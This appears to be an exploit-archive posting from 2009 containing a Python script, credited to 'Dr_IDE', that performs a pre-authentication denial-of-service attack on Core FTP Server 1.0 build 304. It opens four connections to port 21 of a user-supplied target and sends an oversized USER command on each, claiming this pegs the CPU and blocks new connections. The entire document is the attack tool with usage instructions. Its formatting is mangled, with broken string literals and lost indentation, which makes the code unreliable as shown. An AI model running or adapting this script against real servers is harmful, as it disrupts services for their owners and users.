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core_ftp_server_DoS.py.txt

Posted on 29 September 2009

#!/usr/bin/env python

###################################################################################
#
# Core FTP Server 1.0, build 304 Remote Denial of Service Exploit (Pre Auth)
# Found By:     Dr_IDE
# Tested On:    Windows XPSP3
# Download:     http://www.coreftp.com/server/
# Notes:	This will cause CPU usage to go to 100% and prevent new connections
# Usage:	./script <Target IP>
#
###################################################################################

import socket, sys

def banner():
print "
##################################################################"
print "#                                                             	#"
print "#     Core FTP Server 1.0, build 304 Remote DoS Exploit       	#"
print "#                       by Dr_IDE                             	#"
print "#								#"
print "##################################################################
"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);

buff = ("x41" * 2048);

try:
banner();
print ("[*] Connecting to target...");
s1.connect((sys.argv[1] , 21));
s2.connect((sys.argv[1] , 21));
s3.connect((sys.argv[1] , 21));
s4.connect((sys.argv[1] , 21));
print ("[*] Sending evil stuff...");
s1.send("USER " + buff + "
");
s2.send("USER " + buff + "
");
s3.send("USER " + buff + "
");
s4.send("USER " + buff + "
");
print ("[*] Success! The server should now be inaccessible");
s1.close();
s2.close();
s3.close();
s4.close();

except:
print ("[-] Could not connect to server.");

 

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